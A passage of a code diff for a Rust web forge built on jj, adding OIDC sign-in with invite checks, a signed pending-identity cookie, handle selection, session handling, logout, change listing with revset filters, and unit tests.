| 69 | + | #[derive(Deserialize)] | |
| 70 | + | pub struct CallbackQuery { | |
| 71 | + | pub code: Option<String>, | |
| 72 | + | pub state: Option<String>, | |
| 73 | + | pub error: Option<String>, | |
| 74 | + | pub error_description: Option<String>, | |
| 75 | + | } | |
| 76 | + | ||
| 77 | + | /// OIDC redirect target. | |
| 78 | + | pub async fn callback( | |
| 79 | + | State(state): State<AppState>, | |
| 80 | + | jar: CookieJar, | |
| 81 | + | Query(q): Query<CallbackQuery>, | |
| 82 | + | CsrfToken(csrf): CsrfToken, | |
| 83 | + | Nonce(nonce): Nonce, | |
| 84 | + | headers: axum::http::HeaderMap, | |
| 85 | + | ) -> AppResult<Response> { | |
| 86 | + | if let Some(err) = q.error { | |
| 87 | + | let detail = q.error_description.unwrap_or_default(); | |
| 88 | + | tracing::warn!("OIDC provider returned error: {err} {detail}"); | |
| 89 | + | return Ok(views::error_page( | |
| 90 | + | Chrome { title: "Sign-in failed", user: None, csrf: &csrf, nonce: &nonce }, | |
| 91 | + | "Sign-in failed", | |
| 92 | + | "The identity provider rejected the sign-in. Please try again.", | |
| 93 | + | ) | |
| 94 | + | .into_response()); | |
| 95 | + | } | |
| 96 | + | ||
| 97 | + | let (Some(code), Some(flow_state)) = (q.code, q.state) else { | |
| 98 | + | return Err(AppError::BadRequest("missing code or state".into())); | |
| 99 | + | }; | |
| 100 | + | ||
| 101 | + | let (identity, redirect_after) = state | |
| 102 | + | .oidc | |
| 103 | + | .complete(&state.db, &flow_state, &code) | |
| 104 | + | .await | |
| 105 | + | .map_err(|e| { | |
| 106 | + | tracing::warn!("completing OIDC login failed: {e:#}"); | |
| 107 | + | AppError::BadRequest("Sign-in could not be completed. Please try again.".into()) | |
| 108 | + | })?; | |
| 109 | + | ||
| 110 | + | // Returning user: sign straight in. | |
| 111 | + | if let Some(user) = provisioning::find_by_subject(&state.db, &identity.subject).await? { | |
| 112 | + | let jar = | |
| 113 | + | establish_session(&state, jar, user.id, &headers, identity.id_token.as_deref()) | |
| 114 | + | .await?; | |
| 115 | + | let target = redirect_after.as_deref().unwrap_or("/"); | |
| 116 | + | return Ok((jar, Redirect::to(target)).into_response()); | |
| 117 | + | } | |
| 118 | + | ||
| 119 | + | // New identity: apply the invite/allowlist policy before creating anything. | |
| 120 | + | let invited = match identity.email.as_deref() { | |
| 121 | + | Some(email) => provisioning::has_invitation(&state.db, email).await?, | |
| 122 | + | None => false, | |
| 123 | + | }; | |
| 124 | + | ||
| 125 | + | if let Err(denied) = provisioning::admission(&identity, &state.config.allowlist, invited) { | |
| 126 | + | tracing::info!( | |
| 127 | + | subject = %identity.subject, | |
| 128 | + | "login denied: {denied:?}" | |
| 129 | + | ); | |
| 130 | + | return Ok(views::page( | |
| 131 | + | Chrome { title: "Not invited", user: None, csrf: &csrf, nonce: &nonce }, | |
| 132 | + | views::pages::not_invited(), | |
| 133 | + | ) | |
| 134 | + | .into_response()); | |
| 135 | + | } | |
| 136 | + | ||
| 137 | + | // Admitted. Derive a handle, or ask for one. | |
| 138 | + | let suggested = match identity.suggested_handle() { | |
| 139 | + | Some(base) => provisioning::unique_handle(&state.db, &base).await?, | |
| 140 | + | None => None, | |
| 141 | + | }; | |
| 142 | + | ||
| 143 | + | let Some(handle) = suggested else { | |
| 144 | + | // Stash the pending identity and let the user choose. | |
| 145 | + | let jar = stash_pending(jar, &state, &identity)?; | |
| 146 | + | return Ok(( | |
| 147 | + | jar, | |
| 148 | + | views::page( | |
| 149 | + | Chrome { title: "Choose a handle", user: None, csrf: &csrf, nonce: &nonce }, | |
| 150 | + | views::pages::choose_handle(None, &csrf, None), | |
| 151 | + | ), | |
| 152 | + | ) | |
| 153 | + | .into_response()); | |
| 154 | + | }; | |
| 155 | + | ||
| 156 | + | let user = provisioning::create_user(&state.db, &identity, &handle).await?; | |
| 157 | + | tracing::info!(user = %user.id, handle = %handle, "provisioned new user"); | |
| 158 | + | ||
| 159 | + | let jar = establish_session(&state, jar, user.id, &headers, identity.id_token.as_deref()) | |
| 160 | + | .await?; | |
| 161 | + | let target = redirect_after.as_deref().unwrap_or("/"); | |
| 162 | + | Ok((jar, Redirect::to(target)).into_response()) | |
| 163 | + | } | |
| 164 | + | ||
| 165 | + | /// Cookie holding a signed, pending identity between the callback and handle | |
| 166 | + | /// selection. Short-lived and self-contained, so no extra table is needed. | |
| 167 | + | const PENDING_COOKIE: &str = "dogfood_pending"; | |
| 168 | + | ||
| 169 | + | fn stash_pending( | |
| 170 | + | jar: CookieJar, | |
| 171 | + | state: &AppState, | |
| 172 | + | identity: &df_auth::Identity, | |
| 173 | + | ) -> AppResult<CookieJar> { | |
| 174 | + | let payload = serde_json::json!({ | |
| 175 | + | "sub": identity.subject, | |
| 176 | + | "email": identity.email, | |
| 177 | + | "name": identity.name, | |
| 178 | + | "id_token": identity.id_token, | |
| 179 | + | }) | |
| 180 | + | .to_string(); | |
| 181 | + | ||
| 182 | + | let mac = sign_pending(&state.config.session_secret, &payload); | |
| 183 | + | let value = format!("{}.{}", hex::encode(&payload), mac); | |
| 184 | + | ||
| 185 | + | Ok(jar.add( | |
| 186 | + | Cookie::build((PENDING_COOKIE, value)) | |
| 187 | + | .path("/") | |
| 188 | + | .secure(state.config.secure_cookies()) | |
| 189 | + | .http_only(true) | |
| 190 | + | .same_site(SameSite::Lax) | |
| 191 | + | .max_age(time::Duration::minutes(15)) | |
| 192 | + | .build(), | |
| 193 | + | )) | |
| 194 | + | } | |
| 195 | + | ||
| 196 | + | fn sign_pending(secret: &[u8], payload: &str) -> String { | |
| 197 | + | use hmac::{Hmac, Mac}; | |
| 198 | + | use sha2::Sha256; | |
| 199 | + | let mut mac = <Hmac<Sha256>>::new_from_slice(secret).expect("hmac accepts any key"); | |
| 200 | + | mac.update(payload.as_bytes()); | |
| 201 | + | hex::encode(mac.finalize().into_bytes()) | |
| 202 | + | } | |
| 203 | + | ||
| 204 | + | fn read_pending(secret: &[u8], jar: &CookieJar) -> Option<df_auth::Identity> { | |
| 205 | + | use subtle::ConstantTimeEq; | |
| 206 | + | ||
| 207 | + | let raw = jar.get(PENDING_COOKIE)?.value(); | |
| 208 | + | let (payload_hex, mac) = raw.split_once('.')?; | |
| 209 | + | let payload = String::from_utf8(hex::decode(payload_hex).ok()?).ok()?; | |
| 210 | + | ||
| 211 | + | let expected = sign_pending(secret, &payload); | |
| 212 | + | let ok: bool = expected.as_bytes().ct_eq(mac.as_bytes()).into(); | |
| 213 | + | if !ok { | |
| 214 | + | return None; | |
| 215 | + | } | |
| 216 | + | ||
| 217 | + | let v: serde_json::Value = serde_json::from_str(&payload).ok()?; | |
| 218 | + | Some(df_auth::Identity { | |
| 219 | + | subject: v.get("sub")?.as_str()?.to_string(), | |
| 220 | + | email: v.get("email").and_then(|e| e.as_str()).map(str::to_string), | |
| 221 | + | name: v.get("name").and_then(|e| e.as_str()).map(str::to_string), | |
| 222 | + | preferred_username: None, | |
| 223 | + | id_token: v.get("id_token").and_then(|e| e.as_str()).map(str::to_string), | |
| 224 | + | }) | |
| 225 | + | } | |
| 226 | + | ||
| 227 | + | #[derive(Deserialize)] | |
| 228 | + | pub struct HandleForm { | |
| 229 | + | pub handle: String, | |
| 230 | + | } | |
| 231 | + | ||
| 232 | + | /// Complete provisioning with a user-chosen handle. | |
| 233 | + | pub async fn choose_handle( | |
| 234 | + | State(state): State<AppState>, | |
| 235 | + | jar: CookieJar, | |
| 236 | + | CsrfToken(csrf): CsrfToken, | |
| 237 | + | Nonce(nonce): Nonce, | |
| 238 | + | headers: axum::http::HeaderMap, | |
| 239 | + | Form(form): Form<HandleForm>, | |
| 240 | + | ) -> AppResult<Response> { | |
| 241 | + | let Some(identity) = read_pending(&state.config.session_secret, &jar) else { | |
| 242 | + | return Ok(Redirect::to("/login").into_response()); | |
| 243 | + | }; | |
| 244 | + | ||
| 245 | + | // Re-check admission: the pending cookie proves who they are, not that | |
| 246 | + | // policy still admits them. | |
| 247 | + | let invited = match identity.email.as_deref() { | |
| 248 | + | Some(e) => provisioning::has_invitation(&state.db, e).await?, | |
| 249 | + | None => false, | |
| 250 | + | }; | |
| 251 | + | if provisioning::admission(&identity, &state.config.allowlist, invited).is_err() { | |
| 252 | + | return Ok(views::page( | |
| 253 | + | Chrome { title: "Not invited", user: None, csrf: &csrf, nonce: &nonce }, | |
| 254 | + | views::pages::not_invited(), | |
| 255 | + | ) | |
| 256 | + | .into_response()); | |
| 257 | + | } | |
| 258 | + | ||
| 259 | + | let handle = form.handle.trim().to_lowercase(); | |
| 260 | + | ||
| 261 | + | let reject = |msg: &str| -> Response { | |
| 262 | + | views::page( | |
| 263 | + | Chrome { title: "Choose a handle", user: None, csrf: &csrf, nonce: &nonce }, | |
| 264 | + | views::pages::choose_handle(Some(&handle), &csrf, Some(msg)), | |
| 265 | + | ) | |
| 266 | + | .into_response() | |
| 267 | + | }; | |
| 268 | + | ||
| 269 | + | if !valid_handle(&handle) { | |
| 270 | + | return Ok(reject( | |
| 271 | + | "Handles must start with a letter or digit and contain only lowercase \ | |
| 272 | + | letters, digits and hyphens.", | |
| 273 | + | )); | |
| 274 | + | } | |
| 275 | + | if !provisioning::handle_available(&state.db, &handle).await? { | |
| 276 | + | return Ok(reject("That handle is already taken.")); | |
| 277 | + | } | |
| 278 | + | ||
| 279 | + | let user = provisioning::create_user(&state.db, &identity, &handle).await?; | |
| 280 | + | tracing::info!(user = %user.id, handle = %handle, "provisioned new user (chosen handle)"); | |
| 281 | + | ||
| 282 | + | let jar = jar.remove(Cookie::from(PENDING_COOKIE)); | |
| 283 | + | let jar = establish_session(&state, jar, user.id, &headers, identity.id_token.as_deref()) | |
| 284 | + | .await?; | |
| 285 | + | Ok((jar, Redirect::to("/")).into_response()) | |
| 286 | + | } | |
| 287 | + | ||
| 288 | + | /// Mirror of the database CHECK constraint. | |
| 289 | + | fn valid_handle(h: &str) -> bool { | |
| 290 | + | !h.is_empty() | |
| 291 | + | && h.len() <= 39 | |
| 292 | + | && h.chars().next().is_some_and(|c| c.is_ascii_lowercase() || c.is_ascii_digit()) | |
| 293 | + | && h.chars().all(|c| c.is_ascii_lowercase() || c.is_ascii_digit() || c == '-') | |
| 294 | + | } | |
| 295 | + | ||
| 296 | + | async fn establish_session( | |
| 297 | + | state: &AppState, | |
| 298 | + | jar: CookieJar, | |
| 299 | + | user_id: uuid::Uuid, | |
| 300 | + | headers: &axum::http::HeaderMap, | |
| 301 | + | id_token: Option<&str>, | |
| 302 | + | ) -> AppResult<CookieJar> { | |
| 303 | + | let ua = headers | |
| 304 | + | .get(axum::http::header::USER_AGENT) | |
| 305 | + | .and_then(|v| v.to_str().ok()); | |
| 306 | + | ||
| 307 | + | let (id, expires) = session::create( | |
| 308 | + | &state.db, | |
| 309 | + | user_id, | |
| 310 | + | state.config.session_ttl_days, | |
| 311 | + | ua, | |
| 312 | + | None, | |
| 313 | + | id_token, | |
| 314 | + | ) | |
| 315 | + | .await?; | |
| 316 | + | ||
| 317 | + | let cookie = Cookie::build((session::COOKIE_NAME, id.to_string())) | |
| 318 | + | .path("/") | |
| 319 | + | .secure(state.config.secure_cookies()) | |
| 320 | + | .http_only(true) | |
| 321 | + | .same_site(SameSite::Lax) | |
| 322 | + | .expires( | |
| 323 | + | time::OffsetDateTime::from_unix_timestamp(expires.timestamp()) | |
| 324 | + | .unwrap_or(time::OffsetDateTime::UNIX_EPOCH), | |
| 325 | + | ) | |
| 326 | + | .build(); | |
| 327 | + | ||
| 328 | + | Ok(jar.add(cookie)) | |
| 329 | + | } | |
| 330 | + | ||
| 331 | + | /// Sign out: destroy the local session, then hand off to the provider's | |
| 332 | + | /// end-session endpoint when one is advertised. | |
| 333 | + | pub async fn logout( | |
| 334 | + | State(state): State<AppState>, | |
| 335 | + | jar: CookieJar, | |
| 336 | + | ) -> AppResult<Response> { | |
| 337 | + | let mut id_token_hint = None; | |
| 338 | + | if let Some(raw) = jar.get(session::COOKIE_NAME) { | |
| 339 | + | if let Ok(id) = raw.value().parse::<uuid::Uuid>() { | |
| 340 | + | id_token_hint = session::id_token(&state.db, id).await.unwrap_or_default(); | |
| 341 | + | if let Err(e) = session::destroy(&state.db, id).await { | |
| 342 | + | tracing::warn!("destroying session failed: {e}"); | |
| 343 | + | } | |
| 344 | + | } | |
| 345 | + | } | |
| 346 | + | ||
| 347 | + | let jar = jar.remove(Cookie::from(session::COOKIE_NAME)); | |
| 348 | + | ||
| 349 | + | // Hydra rejects `post_logout_redirect_uri` without `id_token_hint` | |
| 350 | + | // (`invalid_request`), which would otherwise strand the user on an error | |
| 351 | + | // page even though the local session above is already gone. Without a | |
| 352 | + | // hint to offer, skip the provider round-trip and just go home. | |
| 353 | + | let target = match (state.oidc.end_session_endpoint(), id_token_hint) { | |
| 354 | + | (Some(endpoint), Some(hint)) => format!( | |
| 355 | + | "{endpoint}?id_token_hint={}&post_logout_redirect_uri={}", | |
| 356 | + | urlencoding_encode(&hint), | |
| 357 | + | urlencoding_encode(&state.config.base_url) | |
| 358 | + | ), | |
| 359 | + | _ => "/".to_string(), | |
| 360 | + | }; | |
| 361 | + | ||
| 362 | + | Ok((jar, Redirect::to(&target)).into_response()) | |
| 363 | + | } | |
| 364 | + | ||
| 365 | + | fn urlencoding_encode(s: &str) -> String { | |
| 366 | + | percent_encoding::utf8_percent_encode(s, percent_encoding::NON_ALPHANUMERIC).to_string() | |
| 367 | + | } | |
| 368 | + | ||
| 369 | + | #[cfg(test)] | |
| 370 | + | mod tests { | |
| 371 | + | use super::*; | |
| 372 | + | ||
| 373 | + | #[test] | |
| 374 | + | fn handle_validation_mirrors_the_db_constraint() { | |
| 375 | + | assert!(valid_handle("alice")); | |
| 376 | + | assert!(valid_handle("a")); | |
| 377 | + | assert!(valid_handle("9lives")); | |
| 378 | + | assert!(valid_handle("with-hyphen")); | |
| 379 | + | ||
| 380 | + | assert!(!valid_handle("")); | |
| 381 | + | assert!(!valid_handle("-leading")); | |
| 382 | + | assert!(!valid_handle("Upper")); | |
| 383 | + | assert!(!valid_handle("under_score")); | |
| 384 | + | assert!(!valid_handle("with space")); | |
| 385 | + | assert!(!valid_handle("üñí")); | |
| 386 | + | assert!(!valid_handle(&"a".repeat(40))); | |
| 387 | + | assert!(valid_handle(&"a".repeat(39))); | |
| 388 | + | } | |
| 389 | + | ||
| 390 | + | #[test] | |
| 391 | + | fn pending_identity_round_trips_and_rejects_tampering() { | |
| 392 | + | let secret = b"secret-key-for-pending-identity-cookie"; | |
| 393 | + | let payload = r#"{"sub":"abc","email":"a@b.c","name":null}"#; | |
| 394 | + | let mac = sign_pending(secret, payload); | |
| 395 | + | ||
| 396 | + | // A wrong secret must not verify. | |
| 397 | + | assert_ne!(mac, sign_pending(b"other-secret", payload)); | |
| 398 | + | // A changed payload must not verify against the old tag. | |
| 399 | + | assert_ne!(mac, sign_pending(secret, r#"{"sub":"attacker"}"#)); | |
| 400 | + | } | |
| 401 | + | } | |
Acrates/df-web/src/routes/change.rs413 lines+413−0
| @@ −0,0 +1,413 @@ | |||
| 1 | + | //! Change list and detail (M3). | |
| 2 | + | ||
| 3 | + | use axum::extract::{Path as UrlPath, Query, State}; | |
| 4 | + | use axum::response::{IntoResponse, Redirect, Response}; | |
| 5 | + | use axum::Form; | |
| 6 | + | use serde::Deserialize; | |
| 7 | + | use uuid::Uuid; | |
| 8 | + | ||
| 9 | + | use crate::error::{AppError, AppResult}; | |
| 10 | + | use crate::repo_ctx::RepoContext; | |
| 11 | + | use crate::revset; | |
| 12 | + | use crate::state::{AppState, CsrfToken, CurrentUser, Nonce}; | |
| 13 | + | use crate::views::change as v; | |
| 14 | + | use crate::views::repo as rv; | |
| 15 | + | use crate::views::{self, Chrome}; | |
| 16 | + | ||
| 17 | + | #[derive(Deserialize, Default)] | |
| 18 | + | pub struct ListQuery { | |
| 19 | + | pub state: Option<String>, | |
| 20 | + | pub revset: Option<String>, | |
| 21 | + | } | |
| 22 | + | ||
| 23 | + | /// `GET /{owner}/{repo}/changes` | |
| 24 | + | pub async fn list( | |
| 25 | + | State(state): State<AppState>, | |
| 26 | + | UrlPath((owner, name)): UrlPath<(String, String)>, | |
| 27 | + | Query(q): Query<ListQuery>, | |
| 28 | + | CurrentUser(user): CurrentUser, | |
| 29 | + | CsrfToken(csrf): CsrfToken, | |
| 30 | + | Nonce(nonce): Nonce, | |
| 31 | + | ) -> AppResult<Response> { | |
| 32 | + | let ctx = RepoContext::load(&state, &owner, &name, user.as_deref()).await?; | |
| 33 | + | ||
| 34 | + | let state_filter = q.state.as_deref().unwrap_or("open"); | |
| 35 | + | let revset_input = q.revset.unwrap_or_default(); | |
| 36 | + | ||
| 37 | + | // Parse the revset before touching the database. An unsupported expression | |
| 38 | + | // must produce a clear message, never a partial result (spec §8). | |
| 39 | + | let (revset_sql, revset_vals, revset_error) = match revset::parse(&revset_input) { | |
| 40 | + | Ok(Some(expr)) => { | |
| 41 | + | let mut n = 3; // $1 = repo_id, $2 = state filter | |
| 42 | + | let (sql, vals) = revset::to_sql(&expr, &mut n); | |
| 43 | + | (Some(sql), vals, None) | |
| 44 | + | } | |
| 45 | + | Ok(None) => (None, vec![], None), | |
| 46 | + | Err(e) => (None, vec![], Some(e.to_string())), | |
| 47 | + | }; | |
| 48 | + | ||
| 49 | + | // On a revset error, show the message and no rows rather than silently | |
| 50 | + | // listing everything — which would look like the filter had matched. | |
| 51 | + | let rows = if revset_error.is_some() { | |
| 52 | + | Vec::new() | |
| 53 | + | } else { | |
| 54 | + | load_changes(&state, ctx.repo.id, state_filter, revset_sql, revset_vals).await? | |
| 55 | + | }; | |
| 56 | + | ||
| 57 | + | let body = maud::html! { | |
| 58 | + | (rv::header(&ctx, "changes")) | |
| 59 | + | (v::list(&ctx, &rows, v::ListFilters { | |
| 60 | + | state: state_filter, | |
| 61 | + | revset: &revset_input, | |
| 62 | + | revset_error: revset_error.as_deref(), | |
| 63 | + | })) | |
| 64 | + | }; | |
| 65 | + | ||
| 66 | + | Ok(views::page( | |
| 67 | + | Chrome { | |
| 68 | + | title: &format!("Changes · {}/{}", ctx.owner, ctx.repo.name), | |
| 69 | + | user: user.as_deref(), | |
| 70 | + | csrf: &csrf, | |
| 71 | + | nonce: &nonce, | |
| 72 | + | }, | |
| 73 | + | body, | |
| 74 | + | ) | |
| 75 | + | .into_response()) | |
| 76 | + | } | |
| 77 | + | ||
| 78 | + | async fn load_changes( | |
| 79 | + | state: &AppState, | |
| 80 | + | repo_id: Uuid, | |
| 81 | + | state_filter: &str, | |
| 82 | + | revset_sql: Option<String>, | |
| 83 | + | revset_vals: Vec<String>, | |
| 84 | + | ) -> AppResult<Vec<v::ChangeRow>> { | |
| 85 | + | let mut sql = String::from( | |
| 86 | + | "SELECT c.number, c.change_id, c.synthetic, c.title, c.state::text, | |
| 87 | + | c.conflicted, c.updated_at, | |
| 88 | + | u.handle::text AS author, | |
| 89 | + | (SELECT count(*) FROM revisions rr WHERE rr.change_id_fk = c.id) AS revcount, | |
| 90 | + | COALESCE(( | |
| 91 | + | SELECT array_agg(pc.change_id) | |
| 92 | + | FROM change_edges e | |
| 93 | + | JOIN changes pc ON pc.id = e.child_change | |
| 94 | + | WHERE e.parent_change = c.id | |
| 95 | + | ), '{}') AS children | |
| 96 | + | FROM changes c | |
| 97 | + | LEFT JOIN users u ON u.id = c.author_user_id | |
| 98 | + | WHERE c.repo_id = $1 | |
| 99 | + | AND ($2 = 'all' OR c.state::text = $2)", | |
| 100 | + | ); | |
| 101 | + | ||
| 102 | + | if let Some(frag) = &revset_sql { | |
| 103 | + | sql.push_str(" AND "); | |
| 104 | + | sql.push_str(frag); | |
| 105 | + | } | |
| 106 | + | sql.push_str(" ORDER BY c.updated_at DESC LIMIT 100"); | |
| 107 | + | ||
| 108 | + | let mut query = sqlx::query_as::< | |
| 109 | + | _, | |
| 110 | + | ( | |
| 111 | + | i64, | |
| 112 | + | String, | |
| 113 | + | bool, | |
| 114 | + | String, | |
| 115 | + | String, | |
| 116 | + | bool, | |
| 117 | + | chrono::DateTime<chrono::Utc>, | |
| 118 | + | Option<String>, | |
| 119 | + | i64, | |
| 120 | + | Vec<String>, | |
| 121 | + | ), | |
| 122 | + | >(&sql) | |
| 123 | + | .bind(repo_id) | |
| 124 | + | .bind(state_filter); | |
| 125 | + | ||
| 126 | + | for v in revset_vals { | |
| 127 | + | query = query.bind(v); | |
| 128 | + | } | |
| 129 | + | ||
| 130 | + | let rows = query.fetch_all(&state.db).await?; | |
| 131 | + | ||
| 132 | + | Ok(rows | |
| 133 | + | .into_iter() | |
| 134 | + | .map( | |
| 135 | + | |(number, change_id, synthetic, title, st, conflicted, updated_at, author, revcount, children)| { | |
| 136 | + | v::ChangeRow { | |
| 137 | + | number, | |
| 138 | + | change_id, | |
| 139 | + | synthetic, | |
| 140 | + | title, | |
| 141 | + | state: st, | |
| 142 | + | conflicted, | |
| 143 | + | updated_at, | |
| 144 | + | author, | |
| 145 | + | revision_count: revcount, | |
| 146 | + | children, | |
| 147 | + | } | |
| 148 | + | }, | |
| 149 | + | ) | |
| 150 | + | .collect()) | |
| 151 | + | } | |
| 152 | + | ||
| 153 | + | pub struct ChangeRecord { | |
| 154 | + | pub id: Uuid, | |
| 155 | + | pub number: i64, | |
| 156 | + | pub change_id: String, | |
| 157 | + | pub synthetic: bool, | |
| 158 | + | pub title: String, | |
| 159 | + | pub description: String, | |
| 160 | + | pub state: String, | |
| 161 | + | pub conflicted: bool, | |
| 162 | + | pub target_bookmark: String, | |
| 163 | + | } | |
| 164 | + | ||
| 165 | + | pub enum Resolution { | |
| 166 | + | One(Box<ChangeRecord>), | |
| 167 | + | /// (number, change_id, title) | |
| 168 | + | Ambiguous(Vec<(i64, String, String)>), | |
| 169 | + | None, | |
| 170 | + | } | |
| 171 | + | ||
| 172 | + | type ChangeTuple = (Uuid, i64, String, bool, String, String, String, bool, String); | |
| 173 | + | ||
| 174 | + | fn to_record(t: ChangeTuple) -> ChangeRecord { | |
| 175 | + | ChangeRecord { | |
| 176 | + | id: t.0, | |
| 177 | + | number: t.1, | |
| 178 | + | change_id: t.2, | |
| 179 | + | synthetic: t.3, | |
| 180 | + | title: t.4, | |
| 181 | + | description: t.5, | |
| 182 | + | state: t.6, | |
| 183 | + | conflicted: t.7, | |
| 184 | + | target_bookmark: t.8, | |
| 185 | + | } | |
| 186 | + | } | |
| 187 | + | ||
| 188 | + | const SELECT_CHANGE: &str = "SELECT id, number, change_id, synthetic, title, description, | |
| 189 | + | state::text, conflicted, target_bookmark | |
| 190 | + | FROM changes"; | |
| 191 | + | ||
| 192 | + | pub async fn resolve_change(state: &AppState, repo_id: Uuid, reference: &str) -> AppResult<Resolution> { | |
| 193 | + | // A pure number is a display number. | |
| 194 | + | if let Ok(number) = reference.parse::<i64>() { | |
| 195 | + | let row: Option<ChangeTuple> = | |
| 196 | + | sqlx::query_as(&format!("{SELECT_CHANGE} WHERE repo_id = $1 AND number = $2")) | |
| 197 | + | .bind(repo_id) | |
| 198 | + | .bind(number) | |
| 199 | + | .fetch_optional(&state.db) | |
| 200 | + | .await?; | |
| 201 | + | return Ok(match row { | |
| 202 | + | Some(r) => Resolution::One(Box::new(to_record(r))), | |
| 203 | + | None => Resolution::None, | |
| 204 | + | }); | |
| 205 | + | } | |
| 206 | + | ||
| 207 | + | // Otherwise a change-id prefix. Reject anything outside the alphabet before | |
| 208 | + | // it reaches a LIKE pattern. | |
| 209 | + | if reference.is_empty() | |
| 210 | + | || reference.len() > 32 | |
| 211 | + | || !reference.bytes().all(|b| (b'k'..=b'z').contains(&b)) | |
| 212 | + | { | |
| 213 | + | return Ok(Resolution::None); | |
| 214 | + | } | |
| 215 | + | ||
| 216 | + | // Uses changes_prefix_idx (repo_id, change_id text_pattern_ops). | |
| 217 | + | let rows: Vec<ChangeTuple> = sqlx::query_as(&format!( | |
| 218 | + | "{SELECT_CHANGE} WHERE repo_id = $1 AND change_id LIKE $2 || '%' ORDER BY number LIMIT 25" | |
| 219 | + | )) | |
| 220 | + | .bind(repo_id) | |
| 221 | + | .bind(reference) | |
| 222 | + | .fetch_all(&state.db) | |
| 223 | + | .await?; | |
| 224 | + | ||
| 225 | + | Ok(match rows.len() { | |
| 226 | + | 0 => Resolution::None, | |
| 227 | + | 1 => Resolution::One(Box::new(to_record(rows.into_iter().next().unwrap()))), | |
| 228 | + | // Never guess (spec §7). | |
| 229 | + | _ => Resolution::Ambiguous( | |
| 230 | + | rows.into_iter() | |
| 231 | + | .map(|r| (r.1, r.2, r.4)) | |
| 232 | + | .collect(), | |
| 233 | + | ), | |
| 234 | + | }) | |
| 235 | + | } | |
| 236 | + | ||
| 237 | + | // ─── opening a change for review (M3) ──────────────────────────────────────── | |
| 238 | + | ||
| 239 | + | /// `GET /{owner}/{repo}/changes/new` | |
| 240 | + | /// | |
| 241 | + | /// A change is not created here — the indexer creates one the moment a change | |
| 242 | + | /// id is first seen on a push. What this form does is *propose* already-pushed | |
| 243 | + | /// work: pick the change, set its target bookmark, title and description, and | |
| 244 | + | /// move it out of draft. | |
| 245 | + | /// | |
| 246 | + | /// That is the honest model for a jj forge. The work exists in the repository | |
| 247 | + | /// before anybody opens a review of it, and pretending the review created it | |
| 248 | + | /// would mean either inventing a commit or refusing to show work that is | |
| 249 | + | /// already pushed. | |
| 250 | + | pub async fn new_form( | |
| 251 | + | State(state): State<AppState>, | |
| 252 | + | UrlPath((owner, name)): UrlPath<(String, String)>, | |
| 253 | + | Query(q): Query<NewQuery>, | |
| 254 | + | CurrentUser(user): CurrentUser, | |
| 255 | + | CsrfToken(csrf): CsrfToken, | |
| 256 | + | Nonce(nonce): Nonce, | |
| 257 | + | ) -> AppResult<Response> { | |
| 258 | + | let ctx = RepoContext::load(&state, &owner, &name, user.as_deref()).await?; | |
| 259 | + | if user.is_none() { | |
| 260 | + | return Err(AppError::Unauthorized); | |
| 261 | + | } | |
| 262 | + | ctx.require_push()?; | |
| 263 | + | ||
| 264 | + | let candidates = load_proposable(&state, ctx.repo.id).await?; | |
| 265 | + | let bookmarks: Vec<String> = | |
| 266 | + | sqlx::query_scalar("SELECT name FROM bookmarks WHERE repo_id = $1 ORDER BY name") | |
| 267 | + | .bind(ctx.repo.id) | |
| 268 | + | .fetch_all(&state.db) | |
| 269 | + | .await?; | |
| 270 | + | ||
| 271 | + | let body = maud::html! { | |
| 272 | + | (rv::header(&ctx, "changes")) | |
| 273 | + | (v::new_change_form(&ctx, &csrf, &candidates, &bookmarks, q.error.as_deref())) | |
| 274 | + | }; | |
| 275 | + | ||
| 276 | + | Ok(views::page( | |
| 277 | + | Chrome { | |
| 278 | + | title: &format!("Open a change · {}/{}", ctx.owner, ctx.repo.name), | |
| 279 | + | user: user.as_deref(), | |
| 280 | + | csrf: &csrf, | |
| 281 | + | nonce: &nonce, | |
| 282 | + | }, | |
| 283 | + | body, | |
| 284 | + | ) | |
| 285 | + | .into_response()) | |
| 286 | + | } | |
| 287 | + | ||
| 288 | + | #[derive(Deserialize, Default)] | |
| 289 | + | pub struct NewQuery { | |
| 290 | + | pub error: Option<String>, | |
| 291 | + | } | |
| 292 | + | ||
| 293 | + | #[derive(Deserialize)] | |
| 294 | + | pub struct OpenChange { | |
| 295 | + | pub change: String, | |
| 296 | + | pub target_bookmark: String, | |
| 297 | + | pub title: String, | |
| 298 | + | pub description: Option<String>, | |
| 299 | + | } | |
| 300 | + | ||
| 301 | + | /// `POST /{owner}/{repo}/changes` | |
| 302 | + | pub async fn create( | |
| 303 | + | State(state): State<AppState>, | |
| 304 | + | UrlPath((owner, name)): UrlPath<(String, String)>, | |
| 305 | + | CurrentUser(user): CurrentUser, | |
| 306 | + | Form(form): Form<OpenChange>, | |
| 307 | + | ) -> AppResult<Response> { | |
| 308 | + | let Some(user) = user else { | |
| 309 | + | return Err(AppError::Unauthorized); | |
| 310 | + | }; | |
| 311 | + | let ctx = RepoContext::load(&state, &owner, &name, Some(&user)).await?; | |
| 312 | + | ctx.require_push()?; | |
| 313 | + | ||
| 314 | + | let reject = |msg: &str| -> Response { | |
| 315 | + | Redirect::to(&format!( | |
| 316 | + | "{}/changes/new?error={}", | |
| 317 | + | ctx.base(), | |
| 318 | + | crate::routes::settings::urlencode(msg) | |
| 319 | + | )) | |
| 320 | + | .into_response() | |
| 321 | + | }; | |
| 322 | + | ||
| 323 | + | let title: String = form.title.trim().chars().take(300).collect(); | |
| 324 | + | if title.is_empty() { | |
| 325 | + | return Ok(reject("A change needs a title.")); | |
| 326 | + | } | |
| 327 | + | ||
| 328 | + | // The target must be a bookmark this repository actually has. Accepting an | |
| 329 | + | // arbitrary string would produce a change that can never be merged and no | |
| 330 | + | // error until somebody tried. | |
| 331 | + | let bookmark_exists: bool = sqlx::query_scalar( | |
| 332 | + | "SELECT EXISTS (SELECT 1 FROM bookmarks WHERE repo_id = $1 AND name = $2)", | |
| 333 | + | ) | |
| 334 | + | .bind(ctx.repo.id) | |
| 335 | + | .bind(form.target_bookmark.trim()) | |
| 336 | + | .fetch_one(&state.db) | |
| 337 | + | .await?; | |
| 338 | + | if !bookmark_exists { | |
| 339 | + | return Ok(reject("That bookmark does not exist in this repository.")); | |
| 340 | + | } | |
| 341 | + | ||
| 342 | + | // Scoped to the repository, so a change id from elsewhere resolves to | |
| 343 | + | // nothing rather than being adopted. | |
| 344 | + | let row: Option<(Uuid, i64)> = | |
| 345 | + | sqlx::query_as("SELECT id, number FROM changes WHERE repo_id = $1 AND change_id = $2") | |
| 346 | + | .bind(ctx.repo.id) | |
| 347 | + | .bind(form.change.trim()) | |
| 348 | + | .fetch_optional(&state.db) | |
| 349 | + | .await?; | |
| 350 | + | ||
